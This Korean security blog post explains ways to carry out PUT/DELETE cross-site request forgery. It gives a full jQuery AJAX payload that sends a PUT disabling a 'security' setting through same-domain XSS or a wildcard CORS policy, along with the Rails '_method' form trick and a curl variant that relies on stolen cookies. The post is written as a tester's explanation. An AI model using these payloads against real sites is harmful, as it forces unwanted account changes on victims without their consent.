7/01/2016

[WEB HACKING] PUT/DELETE CSRF(Cross-site Request Forgrey) Atttack


오늘은 웹 해킹 기법 중 핫한 CSRF에 대한 이야기를 좀 할까합니다.
XSS와 함께 정말 자주 잡게되는 취약점이고 사용 방향에 따라 영향력도 높을 수도 있는 멋진 친구이지요.


음.. 뭐 CSRF에 대한 설명 이런거는 구글링하면 금방 나오고, 해보신 분이라면 충분히 이해하셨을거라 믿고 오늘은 실무(?) 하면서의 고충을 조금 다뤄볼까합니다.

Why? 

이미 Title에서도 보셨겠지만 CSRF를 잡을때 항상 심기를 건드리는 PUT/DELETE CSRF입니다. 이 친구들은 Token이나 Referer 체크가 없는 경우가 많지만 실제로 공격코드로 구현하기 위해선 필요한 조건들이 있어 골치아프게 하네요..

PUT/DELETE CSRF?

아래 요청을 보시면 간단한 HTTP PUT Request 입니다.
임의로 내용을 쓴거라 좀 이상할 수 있지만.. 그래도 예시로는 막 작성한게 최고지요.

PUT /api/add/0001 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) ..snip..
Connection: keep-alive
Content-Length: 0

security=false
api에서 무언가를 추가하는 그런 PUT이라고 가정합니다.
(설정 상 보안설정 해제)

일반적인 GET, POST CSRF라면 img 태그나 XSS 등을 활용하여 CSRF 코드를 심을 수 있으나. 웹에서 제한하는 조건때문에 아쉽게도 간단한 방법으로는 PUT/DELETE CSRF를 사용할 수 없습니다.

PUT/DELETE CSRF 조건


일단 조건에 대해 몇가지 알아볼까요?

A) HTML에서 전송 가능한 요청은 GET,POST 밖에 없다.
 위 내용처럼 말 그대로 HTML Form을 통해 전송하는 것은 GET과 POST밖에 할 수 없습니다. 그래서 일반적인 CSRF 형태로는 공격이 어렵지요.

B) Jqeury(Ajax) 등을 활용하기 위해선 CORS를 준수하여야 한다.
 Ajax 같이 js를 이용하여 전송할 때 한가지 규칙이 있습니다.
로컬 도메인으로만 전송이 가능하다는 건데요, 요건 아래 우회에서 다시 설명드릴게요.

C) Flash,Silverlight,Applet 등을 이용한 전송 시 각각 acceess에 대한 xml 조건 통과가 필요(CORS랑 비슷)
 물론 Activex, flash 등을 이용하면 가능은 합니다. 그러나 이 방법은 조건이 까다롭고 사용자가 해당 어플리케이션을 사용한다는 가정이 필요하기에 사실상 어렵습니다.

Silverlight의 경우에는 clientaccesspolicy.xml
Flash의 경우는 crossdomain.xml

등등 CORS와 유사한 역할을 하는 xml들의 설정이 잘못되어 있어야 가능합니다.

이제 본격적으로 PUT/DELETE CSRF를 사용하기 위한 방법에 대해 보겠습니다.

PUT/DELETE CSRF Exploit1 - Ajax(jquery),XmlHttpRequest

말 그래도 위에 설명한 조건을 넘어가면 가능하긴 합니다.
다만 서버에 다른 취약점이 존재해야 한다는 조건이 붙습니다.

Ajax를 이용하면 쉽게 전송할 수 있는 코드를 만들 수 있습니다.
다만 CORS 때문에 동일한 도메인 내, 또는 Weak CORS가 존재하는 곳에서만 가능하죠.

 - Same Domain
같은 도메인에 XSS와 같이 스크립트 삽입 포인트가 있다면 Ajax를 통해 CSRF 성공시킬 수 있습니다. CORS가 걸려있어도 말이죠 :)

<script>
//JQuery preload (optional)
(function(){
  var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js';
  (document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);
})();

$.ajax({
    url: "/api/add/0001",
    type: "put",
    data:
        {"security":"false"}
    ,
    headers: {
        "Accept":"application/json, text/plain, */*",
        "User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0",
        "Referer":"321654",
        "Connection":"keep-alive",
        "Accept-Language":"en-US,en;q=0.5",
        "Accept-Encoding":"gzip, deflate"
    },
    success: function (data) {
        console.info(data);
    }
});
</script>

 - Weak CORS
은근히 자주보이는 보안 취약점입니다. CORS가 잘못 설정되어 있으면 Cross-domain에서도 요청을 줄 수 있기 때문에 이 때 PUT/DELETE CSRF가 성립될 수 있죠.

Web Response 에 보면 origin 관련 헤더가 이런식으로 *, 또는 공격코드를 올릴 수 있는 도메인으로 설정된 경우 가능합니다.

HTTP/1.1 200 OK
..
access-control-allow-credentials: true
access-control-allow-origin: *
..

이때 위에 사용했던 공격코드로 원격지 도메인에 CSRF를 요청할 수 있게되지요.

<script>
//JQuery preload (optional)
(function(){
  var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js';
  (document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);
})();

$.ajax({
    url: "http://127.0.0.1/api/add/0001",
    type: "put",
    data:
        {"security":"false"}
    ,
    headers: {
        "Accept":"application/json, text/plain, */*",
        "User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0",
        "Referer":"321654",
        "Connection":"keep-alive",
        "Accept-Language":"en-US,en;q=0.5",
        "Accept-Encoding":"gzip, deflate"
    },
    success: function (data) {
        console.info(data);
    }
});
</script>

PUT/DELETE CSRF Exploit2 - Rails called pseudo method :: "_method"

이 방법은 딱 Ruby on Rails에서만 가능한 방법입니다.
Rails로 제작된 서버에 CSRF 공격코드가 올라갈 수 있다면 PUT/DELETE도 가능하단 이야기지요.

<form method="post" ...>
  <input type="hidden" name="_method" value="put" />
...

이런식으로 코드가 들어가게 된다면 가능합니다. 다만 이것은 server-side에서 unwrapping이 필요합니다.


다만.. HTML 규격에서 Form의 PUT과 DELETE 사용이 불가한데 Rails라고 이 방법을 지원해줄지는 모르겠네요.. 자세한건 안찾아봤지만 없어졌을수도 있어요

w3에 Form PUT/DELETE 관련 메일링 내용인데 봐보시면 재미있습니다.
https://lists.w3.org/Archives/Public/public-html-ig-ko/2010Nov/0039.html

PUT/DELETE CSRF Exploit3 - curl!

마지막으로.. 편법인 curl입니다.
curl을 이용하면 method 부터 referer 등 헤더 조작이 자유롭게 가능합니다만..
사실상 의미가 없을 정도로 조건이 많이 붙습니다. 일단 해당 시스템에서 사용자의 쿠키 탈취가 가능해야하고, (직접 서버를 만들어야하기 때문에 사용자의 세션을 이용할 수 없네요)

공격자가 만든! 서버에 사용자가 붙어서 CSRF 코드가 전송되어야하는데..
이미 세션을 사용하지 않기 때문에 개인적으로는 CSRF라고 보지 않습니다.

"그냥 다만 이런것도 가능할 수는 있다." 라고만 참고해주세요.

PUT/DELETE CSRF

항상 아쉬움이 많이 남는 공격입니다. CSRF랑 찾는 방법은 똑같지만 재현이 어렵고,
조건도 많이 붙기 때문에 난감하네요. 다만 지속적인 연구는 새로운 방법을 찾아내기 마련입니다. 마치 XXN과 같이 브라우저 필터링을 풀다던가 기존에 보안 방법을 우회하는 기술말이죠.

아직 PUT/DELETE를 사용하는 서버는 많습니다. 파일업로드, 삭제 이외에도 기능적인 면으로도 많이 사용되는 Method이고 이 또한 연구한다면 언젠가는 CSRF를 성공시킬 수 있는 마스터키 같은 방법이 나타날수도 있겠지요.

재미있으셨는지 모르겠네요. :)

Reference

https://lists.w3.org/Archives/Public/public-html-ig-ko/2010Nov/0039.html




HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

1 comment: